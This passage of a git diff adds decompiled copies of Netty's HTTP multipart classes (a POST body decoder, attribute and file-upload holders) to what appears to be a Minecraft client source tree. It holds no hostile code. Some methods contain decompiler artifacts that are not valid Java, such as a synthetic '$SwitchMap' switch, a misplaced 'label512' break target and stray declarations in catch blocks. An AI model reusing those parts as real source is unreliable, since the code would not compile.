+          setFinalBuffer(undecodedChunk.copy(firstpos, ampersandpos - firstpos));
+        } else if (!currentAttribute.isCompleted()) {
+          setFinalBuffer(Unpooled.EMPTY_BUFFER);
+        }
+        firstpos = currentpos;
+        currentStatus = HttpPostRequestDecoder.MultiPartStatus.EPILOGUE;
+        undecodedChunk.readerIndex(firstpos);
+        return;
+      }
+      if ((contRead) && (currentAttribute != null))
+      {
+        if (currentStatus == HttpPostRequestDecoder.MultiPartStatus.FIELD) {
+          currentAttribute.addContent(undecodedChunk.copy(firstpos, currentpos - firstpos), false);
+          
+          firstpos = currentpos;
+        }
+        undecodedChunk.readerIndex(firstpos);
+      }
+      else {
+        undecodedChunk.readerIndex(firstpos);
+      }
+    }
+    catch (HttpPostRequestDecoder.ErrorDataDecoderException e) {
+      undecodedChunk.readerIndex(firstpos);
+      throw e;
+    }
+    catch (IOException e) {
+      undecodedChunk.readerIndex(firstpos);
+      throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void parseBodyAttributes()
+  {
+    try
+    {
+      sao = new HttpPostBodyUtil.SeekAheadOptimize(undecodedChunk);
+    } catch (HttpPostBodyUtil.SeekAheadNoBackArrayException ignored) { HttpPostBodyUtil.SeekAheadOptimize sao;
+      parseBodyAttributesStandard(); return;
+    }
+    HttpPostBodyUtil.SeekAheadOptimize sao;
+    int firstpos = undecodedChunk.readerIndex();
+    int currentpos = firstpos;
+    
+
+    if (currentStatus == HttpPostRequestDecoder.MultiPartStatus.NOTSTARTED) {
+      currentStatus = HttpPostRequestDecoder.MultiPartStatus.DISPOSITION;
+    }
+    boolean contRead = true;
+    try {
+      while (pos < limit) {
+        char read = (char)(bytes[(pos++)] & 0xFF);
+        currentpos++;
+        switch (1.$SwitchMap$io$netty$handler$codec$http$multipart$HttpPostRequestDecoder$MultiPartStatus[currentStatus.ordinal()]) {
+        case 1: 
+          if (read == '=') {
+            currentStatus = HttpPostRequestDecoder.MultiPartStatus.FIELD;
+            int equalpos = currentpos - 1;
+            String key = decodeAttribute(undecodedChunk.toString(firstpos, equalpos - firstpos, charset), charset);
+            
+            currentAttribute = factory.createAttribute(request, key);
+            firstpos = currentpos;
+          } else if (read == '&') {
+            currentStatus = HttpPostRequestDecoder.MultiPartStatus.DISPOSITION;
+            int ampersandpos = currentpos - 1;
+            String key = decodeAttribute(undecodedChunk.toString(firstpos, ampersandpos - firstpos, charset), charset);
+            
+            currentAttribute = factory.createAttribute(request, key);
+            currentAttribute.setValue("");
+            addHttpData(currentAttribute);
+            currentAttribute = null;
+            firstpos = currentpos;
+            contRead = true; }
+          break;
+        
+        case 2: 
+          if (read == '&') {
+            currentStatus = HttpPostRequestDecoder.MultiPartStatus.DISPOSITION;
+            int ampersandpos = currentpos - 1;
+            setFinalBuffer(undecodedChunk.copy(firstpos, ampersandpos - firstpos));
+            firstpos = currentpos;
+            contRead = true;
+          } else if (read == '\r') {
+            if (pos < limit) {
+              read = (char)(bytes[(pos++)] & 0xFF);
+              currentpos++;
+              if (read == '\n') {
+                currentStatus = HttpPostRequestDecoder.MultiPartStatus.PREEPILOGUE;
+                int ampersandpos = currentpos - 2;
+                sao.setReadPosition(0);
+                setFinalBuffer(undecodedChunk.copy(firstpos, ampersandpos - firstpos));
+                firstpos = currentpos;
+                contRead = false;
+                
+                break label512;
+              }
+              sao.setReadPosition(0);
+              throw new HttpPostRequestDecoder.ErrorDataDecoderException("Bad end of line");
+            }
+            
+            if (limit > 0) {
+              currentpos--;
+            }
+          }
+          else if (read == '\n') {
+            currentStatus = HttpPostRequestDecoder.MultiPartStatus.PREEPILOGUE;
+            int ampersandpos = currentpos - 1;
+            sao.setReadPosition(0);
+            setFinalBuffer(undecodedChunk.copy(firstpos, ampersandpos - firstpos));
+            firstpos = currentpos;
+            contRead = false; }
+          break;
+        
+
+
+        default: 
+          sao.setReadPosition(0);
+          contRead = false;
+          break label512; }
+      }
+      label512:
+      if ((isLastChunk) && (currentAttribute != null))
+      {
+        int ampersandpos = currentpos;
+        if (ampersandpos > firstpos) {
+          setFinalBuffer(undecodedChunk.copy(firstpos, ampersandpos - firstpos));
+        } else if (!currentAttribute.isCompleted()) {
+          setFinalBuffer(Unpooled.EMPTY_BUFFER);
+        }
+        firstpos = currentpos;
+        currentStatus = HttpPostRequestDecoder.MultiPartStatus.EPILOGUE;
+        undecodedChunk.readerIndex(firstpos);
+        return;
+      }
+      if ((contRead) && (currentAttribute != null))
+      {
+        if (currentStatus == HttpPostRequestDecoder.MultiPartStatus.FIELD) {
+          currentAttribute.addContent(undecodedChunk.copy(firstpos, currentpos - firstpos), false);
+          
+          firstpos = currentpos;
+        }
+        undecodedChunk.readerIndex(firstpos);
+      }
+      else {
+        undecodedChunk.readerIndex(firstpos);
+      }
+    }
+    catch (HttpPostRequestDecoder.ErrorDataDecoderException e) {
+      undecodedChunk.readerIndex(firstpos);
+      throw e;
+    }
+    catch (IOException e) {
+      undecodedChunk.readerIndex(firstpos);
+      throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+    }
+    catch (IllegalArgumentException e) {
+      undecodedChunk.readerIndex(firstpos);
+      throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+    }
+  }
+  
+  private void setFinalBuffer(ByteBuf buffer) throws IOException {
+    currentAttribute.addContent(buffer, true);
+    String value = decodeAttribute(currentAttribute.getByteBuf().toString(charset), charset);
+    currentAttribute.setValue(value);
+    addHttpData(currentAttribute);
+    currentAttribute = null;
+  }
+  
+
+
+
+  private static String decodeAttribute(String s, Charset charset)
+  {
+    try
+    {
+      return QueryStringDecoder.decodeComponent(s, charset);
+    } catch (IllegalArgumentException e) {
+      throw new HttpPostRequestDecoder.ErrorDataDecoderException("Bad string: '" + s + '\'', e);
+    }
+  }
+  
+
+
+  void skipControlCharacters()
+  {
+    try
+    {
+      sao = new HttpPostBodyUtil.SeekAheadOptimize(undecodedChunk);
+    } catch (HttpPostBodyUtil.SeekAheadNoBackArrayException ignored) {
+      try { HttpPostBodyUtil.SeekAheadOptimize sao;
+        skipControlCharactersStandard();
+      } catch (IndexOutOfBoundsException e) {
+        throw new HttpPostRequestDecoder.NotEnoughDataDecoderException(e);
+      }
+      return;
+    }
+    HttpPostBodyUtil.SeekAheadOptimize sao;
+    while (pos < limit) {
+      char c = (char)(bytes[(pos++)] & 0xFF);
+      if ((!Character.isISOControl(c)) && (!Character.isWhitespace(c))) {
+        sao.setReadPosition(1);
+        return;
+      }
+    }
+    throw new HttpPostRequestDecoder.NotEnoughDataDecoderException("Access out of bounds");
+  }
+  
+  void skipControlCharactersStandard() {
+    for (;;) {
+      char c = (char)undecodedChunk.readUnsignedByte();
+      if ((!Character.isISOControl(c)) && (!Character.isWhitespace(c))) {
+        undecodedChunk.readerIndex(undecodedChunk.readerIndex() - 1);
+        break;
+      }
+    }
+  }
+  
+
+
+
+
+  public void destroy()
+  {
+    checkDestroyed();
+    cleanFiles();
+    destroyed = true;
+    
+    if ((undecodedChunk != null) && (undecodedChunk.refCnt() > 0)) {
+      undecodedChunk.release();
+      undecodedChunk = null;
+    }
+    
+
+    for (int i = bodyListHttpDataRank; i < bodyListHttpData.size(); i++) {
+      ((InterfaceHttpData)bodyListHttpData.get(i)).release();
+    }
+  }
+  
+
+
+
+  public void cleanFiles()
+  {
+    checkDestroyed();
+    
+    factory.cleanRequestHttpData(request);
+  }
+  
+
+
+
+  public void removeHttpDataFromClean(InterfaceHttpData data)
+  {
+    checkDestroyed();
+    
+    factory.removeHttpDataFromClean(request, data);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/InterfaceHttpData.java b/src/minecraft/io/netty/handler/codec/http/multipart/InterfaceHttpData.java
new file mode 100644
index 0000000..abd389d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/InterfaceHttpData.java
@@ -0,0 +1,29 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.util.ReferenceCounted;
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface InterfaceHttpData
+  extends Comparable<InterfaceHttpData>, ReferenceCounted
+{
+  public abstract String getName();
+  
+  public abstract HttpDataType getHttpDataType();
+  
+  public static enum HttpDataType
+  {
+    Attribute,  FileUpload,  InternalAttribute;
+    
+    private HttpDataType() {}
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/InterfaceHttpPostRequestDecoder.java b/src/minecraft/io/netty/handler/codec/http/multipart/InterfaceHttpPostRequestDecoder.java
new file mode 100644
index 0000000..fd317ab
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/InterfaceHttpPostRequestDecoder.java
@@ -0,0 +1,33 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.handler.codec.http.HttpContent;
+import java.util.List;
+
+public abstract interface InterfaceHttpPostRequestDecoder
+{
+  public abstract boolean isMultipart();
+  
+  public abstract void setDiscardThreshold(int paramInt);
+  
+  public abstract int getDiscardThreshold();
+  
+  public abstract List<InterfaceHttpData> getBodyHttpDatas();
+  
+  public abstract List<InterfaceHttpData> getBodyHttpDatas(String paramString);
+  
+  public abstract InterfaceHttpData getBodyHttpData(String paramString);
+  
+  public abstract InterfaceHttpPostRequestDecoder offer(HttpContent paramHttpContent);
+  
+  public abstract boolean hasNext();
+  
+  public abstract InterfaceHttpData next();
+  
+  public abstract InterfaceHttpData currentPartialHttpData();
+  
+  public abstract void destroy();
+  
+  public abstract void cleanFiles();
+  
+  public abstract void removeHttpDataFromClean(InterfaceHttpData paramInterfaceHttpData);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/InternalAttribute.java b/src/minecraft/io/netty/handler/codec/http/multipart/InternalAttribute.java
new file mode 100644
index 0000000..e0c7bbb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/InternalAttribute.java
@@ -0,0 +1,125 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.CompositeByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.util.AbstractReferenceCounted;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class InternalAttribute
+  extends AbstractReferenceCounted
+  implements InterfaceHttpData
+{
+  private final List<ByteBuf> value = new ArrayList();
+  private final Charset charset;
+  private int size;
+  
+  InternalAttribute(Charset charset) {
+    this.charset = charset;
+  }
+  
+  public InterfaceHttpData.HttpDataType getHttpDataType()
+  {
+    return InterfaceHttpData.HttpDataType.InternalAttribute;
+  }
+  
+  public void addValue(String value) {
+    if (value == null) {
+      throw new NullPointerException("value");
+    }
+    ByteBuf buf = Unpooled.copiedBuffer(value, charset);
+    this.value.add(buf);
+    size += buf.readableBytes();
+  }
+  
+  public void addValue(String value, int rank) {
+    if (value == null) {
+      throw new NullPointerException("value");
+    }
+    ByteBuf buf = Unpooled.copiedBuffer(value, charset);
+    this.value.add(rank, buf);
+    size += buf.readableBytes();
+  }
+  
+  public void setValue(String value, int rank) {
+    if (value == null) {
+      throw new NullPointerException("value");
+    }
+    ByteBuf buf = Unpooled.copiedBuffer(value, charset);
+    ByteBuf old = (ByteBuf)this.value.set(rank, buf);
+    if (old != null) {
+      size -= old.readableBytes();
+      old.release();
+    }
+    size += buf.readableBytes();
+  }
+  
+  public int hashCode()
+  {
+    return getName().hashCode();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof Attribute)) {
+      return false;
+    }
+    Attribute attribute = (Attribute)o;
+    return getName().equalsIgnoreCase(attribute.getName());
+  }
+  
+  public int compareTo(InterfaceHttpData o)
+  {
+    if (!(o instanceof InternalAttribute)) {
+      throw new ClassCastException("Cannot compare " + getHttpDataType() + " with " + o.getHttpDataType());
+    }
+    
+    return compareTo((InternalAttribute)o);
+  }
+  
+  public int compareTo(InternalAttribute o) {
+    return getName().compareToIgnoreCase(o.getName());
+  }
+  
+  public String toString()
+  {
+    StringBuilder result = new StringBuilder();
+    for (ByteBuf elt : value) {
+      result.append(elt.toString(charset));
+    }
+    return result.toString();
+  }
+  
+  public int size() {
+    return size;
+  }
+  
+  public ByteBuf toByteBuf() {
+    return Unpooled.compositeBuffer().addComponents(value).writerIndex(size()).readerIndex(0);
+  }
+  
+  public String getName()
+  {
+    return "InternalAttribute";
+  }
+  
+  protected void deallocate() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/MemoryAttribute.java b/src/minecraft/io/netty/handler/codec/http/multipart/MemoryAttribute.java
new file mode 100644
index 0000000..6cf1fcb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/MemoryAttribute.java
@@ -0,0 +1,145 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelException;
+import io.netty.handler.codec.http.HttpConstants;
+import java.io.IOException;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MemoryAttribute
+  extends AbstractMemoryHttpData
+  implements Attribute
+{
+  public MemoryAttribute(String name)
+  {
+    super(name, HttpConstants.DEFAULT_CHARSET, 0L);
+  }
+  
+  public MemoryAttribute(String name, String value) throws IOException {
+    super(name, HttpConstants.DEFAULT_CHARSET, 0L);
+    setValue(value);
+  }
+  
+  public InterfaceHttpData.HttpDataType getHttpDataType()
+  {
+    return InterfaceHttpData.HttpDataType.Attribute;
+  }
+  
+  public String getValue()
+  {
+    return getByteBuf().toString(charset);
+  }
+  
+  public void setValue(String value) throws IOException
+  {
+    if (value == null) {
+      throw new NullPointerException("value");
+    }
+    byte[] bytes = value.getBytes(charset.name());
+    ByteBuf buffer = Unpooled.wrappedBuffer(bytes);
+    if (definedSize > 0L) {
+      definedSize = buffer.readableBytes();
+    }
+    setContent(buffer);
+  }
+  
+  public void addContent(ByteBuf buffer, boolean last) throws IOException
+  {
+    int localsize = buffer.readableBytes();
+    if ((definedSize > 0L) && (definedSize < size + localsize)) {
+      definedSize = (size + localsize);
+    }
+    super.addContent(buffer, last);
+  }
+  
+  public int hashCode()
+  {
+    return getName().hashCode();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof Attribute)) {
+      return false;
+    }
+    Attribute attribute = (Attribute)o;
+    return getName().equalsIgnoreCase(attribute.getName());
+  }
+  
+  public int compareTo(InterfaceHttpData other)
+  {
+    if (!(other instanceof Attribute)) {
+      throw new ClassCastException("Cannot compare " + getHttpDataType() + " with " + other.getHttpDataType());
+    }
+    
+    return compareTo((Attribute)other);
+  }
+  
+  public int compareTo(Attribute o) {
+    return getName().compareToIgnoreCase(o.getName());
+  }
+  
+  public String toString()
+  {
+    return getName() + '=' + getValue();
+  }
+  
+  public Attribute copy()
+  {
+    MemoryAttribute attr = new MemoryAttribute(getName());
+    attr.setCharset(getCharset());
+    ByteBuf content = content();
+    if (content != null) {
+      try {
+        attr.setContent(content.copy());
+      } catch (IOException e) {
+        throw new ChannelException(e);
+      }
+    }
+    return attr;
+  }
+  
+  public Attribute duplicate()
+  {
+    MemoryAttribute attr = new MemoryAttribute(getName());
+    attr.setCharset(getCharset());
+    ByteBuf content = content();
+    if (content != null) {
+      try {
+        attr.setContent(content.duplicate());
+      } catch (IOException e) {
+        throw new ChannelException(e);
+      }
+    }
+    return attr;
+  }
+  
+  public Attribute retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public Attribute retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/MemoryFileUpload.java b/src/minecraft/io/netty/handler/codec/http/multipart/MemoryFileUpload.java
new file mode 100644
index 0000000..64af948
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/MemoryFileUpload.java
@@ -0,0 +1,174 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelException;
+import java.io.IOException;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MemoryFileUpload
+  extends AbstractMemoryHttpData
+  implements FileUpload
+{
+  private String filename;
+  private String contentType;
+  private String contentTransferEncoding;
+  
+  public MemoryFileUpload(String name, String filename, String contentType, String contentTransferEncoding, Charset charset, long size)
+  {
+    super(name, charset, size);
+    setFilename(filename);
+    setContentType(contentType);
+    setContentTransferEncoding(contentTransferEncoding);
+  }
+  
+  public InterfaceHttpData.HttpDataType getHttpDataType()
+  {
+    return InterfaceHttpData.HttpDataType.FileUpload;
+  }
+  
+  public String getFilename()
+  {
+    return filename;
+  }
+  
+  public void setFilename(String filename)
+  {
+    if (filename == null) {
+      throw new NullPointerException("filename");
+    }
+    this.filename = filename;
+  }
+  
+  public int hashCode()
+  {
+    return getName().hashCode();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof Attribute)) {
+      return false;
+    }
+    Attribute attribute = (Attribute)o;
+    return getName().equalsIgnoreCase(attribute.getName());
+  }
+  
+  public int compareTo(InterfaceHttpData o)
+  {
+    if (!(o instanceof FileUpload)) {
+      throw new ClassCastException("Cannot compare " + getHttpDataType() + " with " + o.getHttpDataType());
+    }
+    
+    return compareTo((FileUpload)o);
+  }
+  
+  public int compareTo(FileUpload o)
+  {
+    int v = getName().compareToIgnoreCase(o.getName());
+    if (v != 0) {
+      return v;
+    }
+    
+    return v;
+  }
+  
+  public void setContentType(String contentType)
+  {
+    if (contentType == null) {
+      throw new NullPointerException("contentType");
+    }
+    this.contentType = contentType;
+  }
+  
+  public String getContentType()
+  {
+    return contentType;
+  }
+  
+  public String getContentTransferEncoding()
+  {
+    return contentTransferEncoding;
+  }
+  
+  public void setContentTransferEncoding(String contentTransferEncoding)
+  {
+    this.contentTransferEncoding = contentTransferEncoding;
+  }
+  
+  public String toString()
+  {
+    return "Content-Disposition: form-data; name=\"" + getName() + "\"; " + "filename" + "=\"" + filename + "\"\r\n" + "Content-Type" + ": " + contentType + (charset != null ? "; charset=" + charset + "\r\n" : "\r\n") + "Content-Length" + ": " + length() + "\r\n" + "Completed: " + isCompleted() + "\r\nIsInMemory: " + isInMemory();
+  }
+  
+
+
+
+
+
+
+
+  public FileUpload copy()
+  {
+    MemoryFileUpload upload = new MemoryFileUpload(getName(), getFilename(), getContentType(), getContentTransferEncoding(), getCharset(), size);
+    
+    ByteBuf buf = content();
+    if (buf != null) {
+      try {
+        upload.setContent(buf.copy());
+        return upload;
+      } catch (IOException e) {
+        throw new ChannelException(e);
+      }
+    }
+    return upload;
+  }
+  
+  public FileUpload duplicate()
+  {
+    MemoryFileUpload upload = new MemoryFileUpload(getName(), getFilename(), getContentType(), getContentTransferEncoding(), getCharset(), size);
+    
+    ByteBuf buf = content();
+    if (buf != null) {
+      try {
+        upload.setContent(buf.duplicate());
+        return upload;
+      } catch (IOException e) {
+        throw new ChannelException(e);
+      }
+    }
+    return upload;
+  }
+  
+  public FileUpload retain() {
+    super.retain();
+    return this;
+  }
+  
+  public FileUpload retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/MixedAttribute.java b/src/minecraft/io/netty/handler/codec/http/multipart/MixedAttribute.java
new file mode 100644
index 0000000..1422aa7
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/MixedAttribute.java
@@ -0,0 +1,243 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.buffer.ByteBuf;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MixedAttribute
+  implements Attribute
+{
+  private Attribute attribute;
+  private final long limitSize;
+  
+  public MixedAttribute(String name, long limitSize)
+  {
+    this.limitSize = limitSize;
+    attribute = new MemoryAttribute(name);
+  }
+  
+  public MixedAttribute(String name, String value, long limitSize) {
+    this.limitSize = limitSize;
+    if (value.length() > this.limitSize) {
+      try {
+        attribute = new DiskAttribute(name, value);
+      }
+      catch (IOException e) {
+        try {
+          attribute = new MemoryAttribute(name, value);
+        } catch (IOException e1) {
+          throw new IllegalArgumentException(e);
+        }
+      }
+    } else {
+      try {
+        attribute = new MemoryAttribute(name, value);
+      } catch (IOException e) {
+        throw new IllegalArgumentException(e);
+      }
+    }
+  }
+  
+  public void addContent(ByteBuf buffer, boolean last) throws IOException
+  {
+    if (((attribute instanceof MemoryAttribute)) && 
+      (attribute.length() + buffer.readableBytes() > limitSize)) {
+      DiskAttribute diskAttribute = new DiskAttribute(attribute.getName());
+      
+      if (((MemoryAttribute)attribute).getByteBuf() != null) {
+        diskAttribute.addContent(((MemoryAttribute)attribute).getByteBuf(), false);
+      }
+      
+      attribute = diskAttribute;
+    }
+    
+    attribute.addContent(buffer, last);
+  }
+  
+  public void delete()
+  {
+    attribute.delete();
+  }
+  
+  public byte[] get() throws IOException
+  {
+    return attribute.get();
+  }
+  
+  public ByteBuf getByteBuf() throws IOException
+  {
+    return attribute.getByteBuf();
+  }
+  
+  public Charset getCharset()
+  {
+    return attribute.getCharset();
+  }
+  
+  public String getString() throws IOException
+  {
+    return attribute.getString();
+  }
+  
+  public String getString(Charset encoding) throws IOException
+  {
+    return attribute.getString(encoding);
+  }
+  
+  public boolean isCompleted()
+  {
+    return attribute.isCompleted();
+  }
+  
+  public boolean isInMemory()
+  {
+    return attribute.isInMemory();
+  }
+  
+  public long length()
+  {
+    return attribute.length();
+  }
+  
+  public boolean renameTo(File dest) throws IOException
+  {
+    return attribute.renameTo(dest);
+  }
+  
+  public void setCharset(Charset charset)
+  {
+    attribute.setCharset(charset);
+  }
+  
+  public void setContent(ByteBuf buffer) throws IOException
+  {
+    if ((buffer.readableBytes() > limitSize) && 
+      ((attribute instanceof MemoryAttribute)))
+    {
+      attribute = new DiskAttribute(attribute.getName());
+    }
+    
+    attribute.setContent(buffer);
+  }
+  
+  public void setContent(File file) throws IOException
+  {
+    if ((file.length() > limitSize) && 
+      ((attribute instanceof MemoryAttribute)))
+    {
+      attribute = new DiskAttribute(attribute.getName());
+    }
+    
+    attribute.setContent(file);
+  }
+  
+  public void setContent(InputStream inputStream) throws IOException
+  {
+    if ((attribute instanceof MemoryAttribute))
+    {
+      attribute = new DiskAttribute(attribute.getName());
+    }
+    attribute.setContent(inputStream);
+  }
+  
+  public InterfaceHttpData.HttpDataType getHttpDataType()
+  {
+    return attribute.getHttpDataType();
+  }
+  
+  public String getName()
+  {
+    return attribute.getName();
+  }
+  
+  public int compareTo(InterfaceHttpData o)
+  {
+    return attribute.compareTo(o);
+  }
+  
+  public String toString()
+  {
+    return "Mixed: " + attribute.toString();
+  }
+  
+  public String getValue() throws IOException
+  {
+    return attribute.getValue();
+  }
+  
+  public void setValue(String value) throws IOException
+  {
+    attribute.setValue(value);
+  }
+  
+  public ByteBuf getChunk(int length) throws IOException
+  {
+    return attribute.getChunk(length);
+  }
+  
+  public File getFile() throws IOException
+  {
+    return attribute.getFile();
+  }
+  
+  public Attribute copy()
+  {
+    return attribute.copy();
+  }
+  
+  public Attribute duplicate()
+  {
+    return attribute.duplicate();
+  }
+  
+  public ByteBuf content()
+  {
+    return attribute.content();
+  }
+  
+  public int refCnt()
+  {
+    return attribute.refCnt();
+  }
+  
+  public Attribute retain()
+  {
+    attribute.retain();
+    return this;
+  }
+  
+  public Attribute retain(int increment)
+  {
+    attribute.retain(increment);
+    return this;
+  }
+  
+  public boolean release()
+  {
+    return attribute.release();
+  }
+  
+  public boolean release(int decrement)
+  {
+    return attribute.release(decrement);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/MixedFileUpload.java b/src/minecraft/io/netty/handler/codec/http/multipart/MixedFileUpload.java
new file mode 100644
index 0000000..4720dd6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/MixedFileUpload.java
@@ -0,0 +1,287 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.buffer.ByteBuf;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MixedFileUpload
+  implements FileUpload
+{
+  private FileUpload fileUpload;
+  private final long limitSize;
+  private final long definedSize;
+  
+  public MixedFileUpload(String name, String filename, String contentType, String contentTransferEncoding, Charset charset, long size, long limitSize)
+  {
+    this.limitSize = limitSize;
+    if (size > this.limitSize) {
+      fileUpload = new DiskFileUpload(name, filename, contentType, contentTransferEncoding, charset, size);
+    }
+    else {
+      fileUpload = new MemoryFileUpload(name, filename, contentType, contentTransferEncoding, charset, size);
+    }
+    
+    definedSize = size;
+  }
+  
+  public void addContent(ByteBuf buffer, boolean last)
+    throws IOException
+  {
+    if (((fileUpload instanceof MemoryFileUpload)) && 
+      (fileUpload.length() + buffer.readableBytes() > limitSize)) {
+      DiskFileUpload diskFileUpload = new DiskFileUpload(fileUpload.getName(), fileUpload.getFilename(), fileUpload.getContentType(), fileUpload.getContentTransferEncoding(), fileUpload.getCharset(), definedSize);
+      
+
+
+
+
+      ByteBuf data = fileUpload.getByteBuf();
+      if ((data != null) && (data.isReadable())) {
+        diskFileUpload.addContent(data.retain(), false);
+      }
+      
+      fileUpload.release();
+      
+      fileUpload = diskFileUpload;
+    }
+    
+    fileUpload.addContent(buffer, last);
+  }
+  
+  public void delete()
+  {
+    fileUpload.delete();
+  }
+  
+  public byte[] get() throws IOException
+  {
+    return fileUpload.get();
+  }
+  
+  public ByteBuf getByteBuf() throws IOException
+  {
+    return fileUpload.getByteBuf();
+  }
+  
+  public Charset getCharset()
+  {
+    return fileUpload.getCharset();
+  }
+  
+  public String getContentType()
+  {
+    return fileUpload.getContentType();
+  }
+  
+  public String getContentTransferEncoding()
+  {
+    return fileUpload.getContentTransferEncoding();
+  }
+  
+  public String getFilename()
+  {
+    return fileUpload.getFilename();
+  }
+  
+  public String getString() throws IOException
+  {
+    return fileUpload.getString();
+  }
+  
+  public String getString(Charset encoding) throws IOException
+  {
+    return fileUpload.getString(encoding);
+  }
+  
+  public boolean isCompleted()
+  {
+    return fileUpload.isCompleted();
+  }
+  
+  public boolean isInMemory()
+  {
+    return fileUpload.isInMemory();
+  }
+  
+  public long length()
+  {
+    return fileUpload.length();
+  }
+  
+  public boolean renameTo(File dest) throws IOException
+  {
+    return fileUpload.renameTo(dest);
+  }
+  
+  public void setCharset(Charset charset)
+  {
+    fileUpload.setCharset(charset);
+  }
+  
+  public void setContent(ByteBuf buffer) throws IOException
+  {
+    if ((buffer.readableBytes() > limitSize) && 
+      ((fileUpload instanceof MemoryFileUpload))) {
+      FileUpload memoryUpload = fileUpload;
+      
+      fileUpload = new DiskFileUpload(memoryUpload.getName(), memoryUpload.getFilename(), memoryUpload.getContentType(), memoryUpload.getContentTransferEncoding(), memoryUpload.getCharset(), definedSize);
+      
+
+
+
+
+
+      memoryUpload.release();
+    }
+    
+    fileUpload.setContent(buffer);
+  }
+  
+  public void setContent(File file) throws IOException
+  {
+    if ((file.length() > limitSize) && 
+      ((fileUpload instanceof MemoryFileUpload))) {
+      FileUpload memoryUpload = fileUpload;
+      
+
+      fileUpload = new DiskFileUpload(memoryUpload.getName(), memoryUpload.getFilename(), memoryUpload.getContentType(), memoryUpload.getContentTransferEncoding(), memoryUpload.getCharset(), definedSize);
+      
+
+
+
+
+
+      memoryUpload.release();
+    }
+    
+    fileUpload.setContent(file);
+  }
+  
+  public void setContent(InputStream inputStream) throws IOException
+  {
+    if ((fileUpload instanceof MemoryFileUpload)) {
+      FileUpload memoryUpload = fileUpload;
+      
+
+      fileUpload = new DiskFileUpload(fileUpload.getName(), fileUpload.getFilename(), fileUpload.getContentType(), fileUpload.getContentTransferEncoding(), fileUpload.getCharset(), definedSize);
+      
+
+
+
+
+
+      memoryUpload.release();
+    }
+    fileUpload.setContent(inputStream);
+  }
+  
+  public void setContentType(String contentType)
+  {
+    fileUpload.setContentType(contentType);
+  }
+  
+  public void setContentTransferEncoding(String contentTransferEncoding)
+  {
+    fileUpload.setContentTransferEncoding(contentTransferEncoding);
+  }
+  
+  public void setFilename(String filename)
+  {
+    fileUpload.setFilename(filename);
+  }
+  
+  public InterfaceHttpData.HttpDataType getHttpDataType()
+  {
+    return fileUpload.getHttpDataType();
+  }
+  
+  public String getName()
+  {
+    return fileUpload.getName();
+  }
+  
+  public int compareTo(InterfaceHttpData o)
+  {
+    return fileUpload.compareTo(o);
+  }
+  
+  public String toString()
+  {
+    return "Mixed: " + fileUpload.toString();
+  }
+  
+  public ByteBuf getChunk(int length) throws IOException
+  {
+    return fileUpload.getChunk(length);
+  }
+  
+  public File getFile() throws IOException
+  {
+    return fileUpload.getFile();
+  }
+  
+  public FileUpload copy()
+  {
+    return fileUpload.copy();
+  }
+  
+  public FileUpload duplicate()
+  {
+    return fileUpload.duplicate();
+  }
+  
+  public ByteBuf content()
+  {
+    return fileUpload.content();
+  }
+  
+  public int refCnt()
+  {
+    return fileUpload.refCnt();
+  }
+  
+  public FileUpload retain()
+  {
+    fileUpload.retain();
+    return this;
+  }
+  
+  public FileUpload retain(int increment)
+  {
+    fileUpload.retain(increment);
+    return this;
+  }
+  
+  public boolean release()
+  {
+    return fileUpload.release();
+  }
+  
+  public boolean release(int decrement)
+  {
+    return fileUpload.release(decrement);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/BinaryWebSocketFrame.java b/src/minecraft/io/netty/handler/codec/http/websocketx/BinaryWebSocketFrame.java
new file mode 100644
index 0000000..8dbb927
--- /dev/null
